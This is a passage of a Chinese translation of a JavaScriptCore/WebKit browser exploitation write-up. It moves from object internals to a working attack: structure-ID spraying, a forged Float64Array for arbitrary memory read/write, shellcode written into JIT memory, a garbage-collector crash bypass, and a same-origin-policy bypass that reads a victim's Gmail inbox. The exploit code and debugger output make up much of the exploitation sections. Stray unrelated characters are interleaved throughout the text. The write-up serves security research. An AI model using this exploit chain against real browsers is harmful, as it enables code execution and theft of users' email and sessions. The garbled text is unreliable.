? 屬性是JavaScript對象最重要的方面姆泻。我們已經(jīng)看到了如何在引擎中存儲屬性:butterfly。除了butterfly之外冒嫡,JSObjects還可以有內(nèi)聯(lián)存儲(默認情況下是6個slots拇勃,但要根據(jù)運行時分析),位于對象之后的內(nèi)存中孝凌。如果不需要為對象分配butterfly方咆,這可能會導(dǎo)致性能略有提高
? 內(nèi)聯(lián)存儲對我們來說很有趣,因為我們可以泄漏對象的地址蟀架,從而知道它的內(nèi)聯(lián)slots的地址瓣赂。這些都是放置假對象的好選擇。另外片拍,按照前面討論的方法煌集,這樣做還可以避免將對象放在標記塊之外時可能出現(xiàn)的任何問題,現(xiàn)在我們來看Q2捌省。
5.2 JSObject internals
我們將從一個例子開始:假設(shè)我們運行下面這段JS代碼:
obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};
會生成如下的對象:
(lldb) x/6gx 0x10cd97c10
0x10cd97c10: 0x0100150000000136 0x0000000000000000
0x10cd97c20: 0xffff000000001337 0x0000000000000006
0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10
第一個四字是JSCell苫纤。第二個是Butterfly指針,它是空的,因為所有屬性都內(nèi)聯(lián)存儲方面。接下來是四個屬性的內(nèi)聯(lián)JSValue slot:integer放钦、false、double和JSObject指針恭金。如果我們要向?qū)ο筇砑痈嗟膶傩圆儋鳎瑢⒃谀硞€時候分配一個butterfly來存儲這些屬性.那么JSCell包含什么呢? JSCell.h:
StructureID m_structureID;
This is the most interesting one, we'll explore it further below.
IndexingType m_indexingType;
We've already seen this before. It indicates the storage mode of
the object's elements.
JSType m_type;
Stores the type of this cell: string, symbol,function,
plain object, ...
TypeInfo::InlineTypeFlags m_flags;
Flags that aren't too important for our purposes. JSTypeInfo.h
contains further information.
CellState m_cellState;
We've also seen this before. It is used by the garbage collector
during collection.
5.3 structures相關(guān)
? JSC創(chuàng)建元對象,這些元對象描述JavaScript對象的結(jié)構(gòu)或布局横腿。這些對象表示從屬性名到索引到內(nèi)聯(lián)存儲或butterfly的映射(都被視為JSValue數(shù)組)颓屑。在其最基本的形式中,這樣的結(jié)構(gòu)可以是一個由<property name, slot index>對組成的數(shù)組耿焊。它也可以實現(xiàn)為鏈表或散列映射揪惦。開發(fā)人員沒有在每個JSCell實例中存儲指向該結(jié)構(gòu)的指針,而是決定在結(jié)構(gòu)表中存儲一個32位索引罗侯,以便為其他字段節(jié)省一些空間那
? 那么當一個新屬性被添加到一個對象時會發(fā)生什么呢?如果這是第一次發(fā)生器腋,那么將分配一個新的結(jié)構(gòu)實例,其中包含所有現(xiàn)有屬性的前一個插槽索引钩杰,以及新屬性的另一個插槽索引纫塌。然后,屬性將存儲在相應(yīng)的索引中讲弄,這可能需要重新分配butterfly措左。為了避免重復(fù)這個過程,可以將得到的結(jié)構(gòu)實例緩存在前面的結(jié)構(gòu)中避除,即為“transiton table”的數(shù)據(jù)結(jié)構(gòu)中怎披。原始結(jié)構(gòu)也可以進行調(diào)整,以便預(yù)先分配更多的內(nèi)聯(lián)存儲或butterfly存儲瓶摆,以避免重新分配凉逛。這種機制最終使結(jié)構(gòu)可重用.舉個例子。假設(shè)我們有以下JavaScript代碼:
var o = { foo: 42 };
if (someCondition)
o.bar = 43;
else
o.baz = 44;
? 這將導(dǎo)致創(chuàng)建以下三個結(jié)構(gòu)實例赏壹,這里顯示了(任意)屬性名到slot索引映射:
+-----------------+ +-----------------+
| Structure 1 | +bar | Structure 2 |
| +--------->| |
| foo: 0 | | foo: 0 |
+--------+--------+ | bar: 1 |
| +-----------------+
| +baz +-----------------+
+-------->| Structure 3 |
| |
| foo: 0 |
| baz: 1 |
+-----------------+
無論何時再次執(zhí)行這段代碼鱼炒,都很容易找到所創(chuàng)建對象的正確結(jié)構(gòu),今天所有的主要引擎基本上都使用相同的概念蝌借。V8調(diào)用它們映射或隱藏類[19]昔瞧,而Spidermonkey調(diào)用它們shape,這種技術(shù)還簡化了投機性JIT編譯器菩佑。假設(shè)函數(shù)如下:
function foo(a) {
return a.bar + 3;
}
? 進一步假設(shè)我們已經(jīng)在解釋器中執(zhí)行了上述函數(shù)幾次自晰,現(xiàn)在決定將其編譯為原生代碼,以獲得更好的性能稍坯。我們?nèi)绾翁幚韺傩圆檎?我們可以直接跳到解釋器來執(zhí)行查找酬荞,但是這將非常昂貴搓劫。假設(shè)我們還跟蹤了賦給foo作為參數(shù)的對象,發(fā)現(xiàn)它們都使用相同的結(jié)構(gòu)混巧。我們現(xiàn)在可以像下面這樣生成(偽)匯編代碼枪向。這里r0最初指向參數(shù)對象:
mov r1, [r0 + #structure_id_offset];
cmp r1, #structure_id;
jne bailout_to_interpreter;
mov r2, [r0 + #inline_property_offset];
? 這只是比c之類的原生語言中的屬性訪問慢一些的指令。注意咧党,結(jié)構(gòu)ID和屬性偏移量緩存在代碼本身中秘蛔,因此這類代碼構(gòu)造的名稱是:內(nèi)聯(lián)緩存.除了屬性映射之外,結(jié)構(gòu)還存儲對ClassInfo實例的引用傍衡。這個實例包含類的名稱("Float64Array"深员, " HTMLParagraphElement ",…)蛙埂,也可以通過下面的小技巧從腳本中訪問:
bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
PropertyName propertyName)
{
JSArray* thisObject = jsCast<JSArray*>(cell);
if (propertyName == exec->propertyNames().length)
return false;
return JSObject::deleteProperty(thisObject, exec, propertyName);
}
? 如我們所見倦畅,deleteProperty對于數(shù)組的.length屬性有一個特殊的情況(它不會刪除),但是它會將請求轉(zhuǎn)發(fā)給父實現(xiàn)绣的。下一個圖總結(jié)(并稍微簡化)了構(gòu)建JSC對象系統(tǒng)的不同c++類之間的關(guān)系叠赐。
+------------------------------------------+
| Butterfly |
| baz | bar | foo | length: 2 | 42 | 13.37 |
+------------------------------------------+
^
+---------+
+----------+ |
| | |
+--+ JSCell | | +-----------------+
| | | | | |
| +----------+ | | MethodTable |
| /\ | | |
References | || inherits | | Put |
by ID in | +----++----+ | | Get |
structure | | +-----+ | Delete |
table | | JSObject | | VisitChildren |
| | |<----- | ... |
| +----------+ | | |
| /\ | +-----------------+
| || inherits | ^
| +----++----+ | |
| | | | associated |
| | JSArray | | prototype |
| | | | object |
| +----------+ | |
| | |
v | +-------+--------+
+-------------------+ | | ClassInfo |
| Structure +---+ +-->| |
| | | | Name: "Array" |
| property: slot | | | |
| foo : 0 +----------+ +----------------+
| bar : 1 |
| baz : 2 |
| |
+-------------------+
6. Exploitation 利用
現(xiàn)在我們對JSObject類的內(nèi)部結(jié)構(gòu)有了更多的了解,讓我們回到創(chuàng)建自己的Float64Array實例屡江,它將為我們提供一個任意的內(nèi)存讀/寫原語燎悍。顯然,最重要的部分將是JSCell頭部中的結(jié)構(gòu)ID盼理,因為關(guān)聯(lián)的結(jié)構(gòu)實例使我們的內(nèi)存塊在引擎看來“像”一個Float64Array。因此俄删,我們需要知道結(jié)構(gòu)表中的Float64Array結(jié)構(gòu)的ID宏怔。
6.1 預(yù)測 structure IDs
? 不幸的是,結(jié)構(gòu)id在不同的運行中不一定是靜態(tài)的畴椰,因為它們是在運行時根據(jù)需要分配的臊诊。此外,在引擎啟動期間創(chuàng)建的結(jié)構(gòu)的id依賴于版本斜脂。因此抓艳,我們不知道Float64Array實例的結(jié)構(gòu)ID,需要以某種方式確定它帚戳。
? 由于我們不能使用任意結(jié)構(gòu)id玷或,因此會出現(xiàn)另一個稍微復(fù)雜的問題。這是因為還有一些結(jié)構(gòu)分配給其他垃圾收集單元格片任,而這些單元格不是JavaScript對象(字符串偏友、符號、正則表達式對象对供,甚至結(jié)構(gòu)本身)位他。調(diào)用它們的方法表引用的任何方法都將由于斷言失敗而導(dǎo)致崩潰。不過,這些結(jié)構(gòu)只在引擎啟動時分配鹅髓,導(dǎo)致所有這些結(jié)構(gòu)的id都相當?shù)汀?br>
? 為了克服這個問題舞竿,我們將使用一種簡單的spray方法:我們將spray幾千個結(jié)構(gòu),這些結(jié)構(gòu)都描述Float64Array實例窿冯,然后選擇一個較高的初始ID骗奖,看看是否找到了正確的ID。
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
}
通過使用“instanceof”靡菇,我們可以知道我們是否猜對了重归。如果沒有,則使用下一個結(jié)構(gòu)厦凤。
while (!(fakearray instanceof Float64Array)) {
// Increment structure ID by one here
}
Instanceof是一個相當安全的操作鼻吮,因為它只獲取結(jié)構(gòu)、從中獲取原型较鼓,并與給定的原型對象進行指針比較椎木。
6.2 偽造一個Float64Array
? float64數(shù)組由原生JSArrayBufferView類實現(xiàn)。除了標準的JSObject字段博烂,該類還包含指向后備內(nèi)存的指針(我們將其稱為“vector”香椎,類似于源代碼),以及長度和模式字段(都是32位整數(shù))
? 由于我們將我們的Float64Array放在另一個對象的內(nèi)聯(lián)slot中(從現(xiàn)在開始稱為“容器”)禽篱,我們將不得不處理由于JSValue編碼而產(chǎn)生的一些限制畜伐。特別是我們
無法設(shè)置nullptr butterfly指針,因為null不是有效的JSValue√陕剩現(xiàn)在還可以玛界,因為butterfly不會被用于簡單的元素訪問操作
無法設(shè)置有效的模式字段,因為由于NaN-boxing悼吱,它必須大于0x00010000慎框。我們可以自由控制長度字段
只能將向量設(shè)置為指向另一個JSObject,因為這是JSValue可以包含的惟一指針
由于最后一個約束后添,我們將設(shè)置Float64Array的向量指向Uint8Array實例:
+----------------+ +----------------+
| Float64Array | +------------->| Uint8Array |
| | | | |
| JSCell | | | JSCell |
| butterfly | | | butterfly |
| vector ------+---+ | vector |
| length | | length |
| mode | | mode |
+----------------+ +----------------+
有了它笨枯,我們現(xiàn)在可以將第二個數(shù)組的數(shù)據(jù)指針設(shè)置為任意地址,為我們提供任意的內(nèi)存讀/寫.下面是使用前面的exploit原語創(chuàng)建偽Float64Array實例的代碼遇西。然后馅精,附加的利用代碼創(chuàng)建一個全局“內(nèi)存”對象,該對象提供了方便的方法來讀寫任意內(nèi)存區(qū)域粱檀。
sprayFloat64ArrayStructures();
// Create the array that will be used to
// read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
var container = {
jsCellHeader: jsCellHeader.encodeAsJSVal(),
butterfly: false, // Some arbitrary value
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
var fakearray = fakeobj(address);
// Find the correct structure ID.
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.encodeAsJSVal();
}
// All done, fakearray now points onto the hax array
為了“可視化”結(jié)果硫嘶,下面是一些lldb輸出。容器對象位于0x11321e1a0:
(lldb) x/6gx 0x11321e1a0
0x11321e1a0: 0x0100150000001138 0x0000000000000000
0x11321e1b0: 0x0118270000001000 0x0000000000000006
0x11321e1c0: 0x0000000113217360 0x0001000000000010
(lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
(JSC::JSArrayBufferView) $0 = {
JSC::JSNonFinalObject = {
JSC::JSObject = {
JSC::JSCell = {
m_structureID = 4096
m_indexingType = '\0'
m_type = Float64ArrayType
m_flags = '\x18'
m_cellState = NewWhite
}
m_butterfly = {
JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
}
}
}
m_vector = {
JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
}
m_length = 16
m_mode = 65536
}
? 注意m_butterfly和m_mode都是無效的梧税,因為我們不能在那里寫null沦疾。這暫時不會造成任何問題称近,但是一旦GC運行,就會出現(xiàn)問題哮塞。我們稍后再處理這個問題刨秆。
6.3 執(zhí)行shellcode
JavaScript引擎的一個優(yōu)點是,它們都使用JIT編譯忆畅。這需要將指令寫入內(nèi)存中的頁面衡未,然后執(zhí)行它們。由于這個原因家凯,大多數(shù)引擎缓醋,包括JSC,都分配可寫和可執(zhí)行的內(nèi)存區(qū)域绊诲。這是我們exp的一個很好的目標送粱。我們將使用內(nèi)存讀/寫原語將指針泄漏到JavaScript函數(shù)的JIT編譯代碼中,然后在那里編寫shell代碼并調(diào)用函數(shù)掂之,從而執(zhí)行我們自己的代碼.附加的PoC漏洞實現(xiàn)了這一點抗俄。下面是runShellcode函數(shù)的相關(guān)部分。
// This simply creates a function and calls it multiple times to
// trigger JIT compilation.
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);
var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);
print("[!] Jumping into shellcode...");
func();
? 可以看到世舰,PoC代碼通過從固定偏移量讀入一組對象(從JavaScript函數(shù)對象開始)中的幾個指針來執(zhí)行指針泄漏动雹。這不是很好(因為偏移量可以在不同版本之間更改),但是對于演示目的來說已經(jīng)足夠了跟压。作為第一個改進胰蝠,應(yīng)該嘗試使用一些簡單的啟發(fā)式(最高位都為零,“接近”其他已知內(nèi)存區(qū)域震蒋,……)來檢測有效指針姊氓。接下來,可能會基于惟一的內(nèi)存模式檢測一些對象喷好。例如,從JSCell繼承的所有類(如ExecutableBase)都將以一個可識別的頭開始读跷。
? 而且梗搅,JIT編譯的代碼本身可能會以一個已知的函數(shù)開頭,注意效览,從iOS 10開始无切,JSC不再分配一個RWX區(qū)域,而是使用兩個到相同物理內(nèi)存區(qū)域的虛擬映射丐枉,一個是可執(zhí)行的哆键,另一個是可寫的。然后在運行時發(fā)出一個特殊版本的memcpy瘦锹,其中包含可寫區(qū)域的(隨機)地址作為即時值籍嘹,并映射為——X闪盔,防止攻擊者讀取該地址。為了繞過這個問題辱士,現(xiàn)在需要一個短的ROP鏈在跳轉(zhuǎn)到可執(zhí)行映射之前調(diào)用這個memcpy
6.4 繞過垃圾收集check
如果我們想讓渲染器進程在最初的攻擊之后仍然保持活動狀態(tài)(稍后我們將看到為什么我們希望這樣)泪掀,那么一旦垃圾收集器開始工作,我們目前就會立即面臨崩潰颂碘。這主要是因為我們偽造的Float64Array的butterfly是一個無效指針异赫,但不是null,因此會在GC期間被訪問头岔。從JSObject:: visitChildren:
Butterfly* butterfly = thisObject->m_butterfly.get();
if (butterfly)
thisObject->visitButterfly(visitor, butterfly,
thisObject->structure(visitor.vm()));
我們可以將偽數(shù)組的butterfly指針設(shè)置為nullptr塔拳,但是這將導(dǎo)致另一次崩潰,因為該值也是容器對象的一個屬性峡竣,并且將被視為JSObject指針靠抑。我們將這樣做
- 創(chuàng)建一個空對象。這個對象的結(jié)構(gòu)將描述一個具有默認內(nèi)聯(lián)存儲量(6個slot)的對象澎胡,但是沒有一個槽被使用
- 將JSCell頭(包含結(jié)構(gòu)ID)復(fù)制到容器對象≡熊現(xiàn)在,我們已經(jīng)導(dǎo)致引擎“忘記”了組成偽數(shù)組的容器對象的屬性
- 將偽數(shù)組的butterfly指針設(shè)置為nullptr攻谁,并且在執(zhí)行此操作時稚伍,還將該對象的JSCell替換為默認的Float64Array instanc中的JSCell
最后一步是必需的,因為我們可能會得到一個帶有一些屬性的Float64Array的結(jié)構(gòu)戚宦,這是由于我們之前的結(jié)構(gòu)噴涂造成的个曙,這三個步驟為我們提供了一個穩(wěn)定的漏洞,最后一點需要注意的是受楼,當覆蓋JIT編譯函數(shù)的代碼時垦搬,必須小心返回一個有效的JSValue(如果需要流程延續(xù))。如果不這樣做艳汽,可能會在下一次GC期間導(dǎo)致崩潰猴贰,因為返回的值將由引擎保存,并由收集器檢查河狐。
6.5 總結(jié)
現(xiàn)在米绕,是快速總結(jié)完整利用的時候了
- 噴射Float64Array結(jié)構(gòu)
- 分配具有內(nèi)聯(lián)屬性的容器對象,這些內(nèi)聯(lián)屬性一起在其內(nèi)聯(lián)屬性槽中構(gòu)建一個Float64Array實例馋艺。使用高的初始結(jié)構(gòu)ID栅干,這可能是正確的,因為之前的噴霧捐祠。將數(shù)組的數(shù)據(jù)指針設(shè)置為指向Uint8Array實例
3.泄漏容器對象的地址碱鳞,并創(chuàng)建一個偽對象,指向容器objec中的Float64Array - 使用'instanceof'查看結(jié)構(gòu)ID猜測是否正確踱蛀。如果沒有通過為容器對象的相應(yīng)屬性分配一個新值來增加結(jié)構(gòu)ID窿给。重復(fù)贵白,直到得到一個Float64Array
- 通過寫入Uint8Arra的數(shù)據(jù)指針,從任意內(nèi)存地址讀寫
- 用它來修復(fù)容器和Float64Array實例填大,以避免在垃圾收集期間崩潰
7.濫用渲染程序
通常戒洼,下一個合乎邏輯的步驟是啟動某種沙箱逃脫機制,以進一步破壞目標機器允华,由于對這些問題的討論超出了本文的范圍圈浇,并且由于在其他地方對這些問題進行了很好的討論,所以讓我們轉(zhuǎn)而探討我們的現(xiàn)狀
7.1 WebKit進程和特權(quán)模式
自從WebKit 222以來靴寂,WebKit具有一個多進程模型磷蜀,其中為每個選項卡生成一個新的呈現(xiàn)器進程。除了穩(wěn)定性和性能方面的原因外百炬,這還為沙箱基礎(chǔ)設(shè)施提供了基礎(chǔ)褐隆,以限制受損害的呈現(xiàn)程序進程對系統(tǒng)造成的損害
7.2 同源策略
? 同源策略(SOP)為(客戶端)web安全提供了基礎(chǔ)。它防止來自源A的內(nèi)容干擾來自另一個源b的內(nèi)容剖踊。這包括腳本級訪問(例如訪問另一個窗口中的DOM對象)和網(wǎng)絡(luò)級訪問(例如xmlhttprequest)庶弃。有趣的是,在WebKit中德澈,SOP是在呈現(xiàn)器進程中強制執(zhí)行的歇攻,這意味著我們可以繞過它。目前所有主要的web瀏覽器都是如此梆造,但是chrome即將通過他們的站點隔離項目[23]來改變這一點缴守。
? 這一事實并不新鮮,甚至在過去也被利用過镇辉,但值得討論屡穗。本質(zhì)上,這意味著呈現(xiàn)程序進程可以完全訪問所有瀏覽器會話忽肛,并且可以發(fā)送經(jīng)過身份驗證的跨源請求并讀取響應(yīng)村砂。破壞呈現(xiàn)程序進程的攻擊者因此可以訪問受害者的所有瀏覽器會話。出于演示目的屹逛,我們現(xiàn)在將修改我們的漏洞以顯示用戶gmail收件箱
7.3 -竊取電子郵件
WebKit中的SecurityOrigin類中有一個有趣的字段:m_universalAccess础废。如果設(shè)置了,它將導(dǎo)致所有跨源檢查成功煎源。通過遵循一組指針(其偏移量同樣依賴于當前Safari版本),我們可以獲得對當前活動的SecurityDomain實例的引用香缺。然后手销,我們可以為呈現(xiàn)程序進程啟用universalAccess,并隨后執(zhí)行經(jīng)過身份驗證的跨源xmlhttprequest图张。然后锋拖,從gmail讀取電子郵件變得非常簡單
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
xhr.send(); // xhr.responseText now contains the full response
其中包括一個版本的漏洞诈悍,它可以做到這一點,并顯示“用戶”當前的gmail收件箱兽埃。由于某些原因侥钳,現(xiàn)在應(yīng)該很清楚了,這確實需要在Safari中使用一個有效的gmail會話;)
[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
[3] http://trac.webkit.org/wiki/JavaScriptCore
[4] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-data-types-and-values
[5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects
[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
[7] http://www.ecma-international.org/
ecma-262/6.0/#sec-array-exotic-objects
[8] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-standard-built-in-objects
[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/
Reference/Global_Objects/Array/slice).
[10] https://github.com/WebKit/webkit/
blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime
/ArrayPrototype.cpp#L848
[11] https://developer.mozilla.org/en-US/docs/Web/
JavaScript/Reference/Global_Objects/Symbol/species
[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
[16] https://www.gnu.org/software/guile/manual/html_node/
Conservative-GC.html
[17] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-language-types-number-type
[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
[19] https://developers.google.com/v8/design#fast-property-access
[20] http://www.ecma-international.org/
ecma-262/6.0/#sec-operations-on-objects
[21] http://www.ecma-international.org/ecma-262/6.0/
#sec-ordinary-object-internal-methods-and-internal-slots-delete-p
[22] https://trac.webkit.org/wiki/WebKit2
[23] https://www.chromium.org/developers/design-documents/site-isolation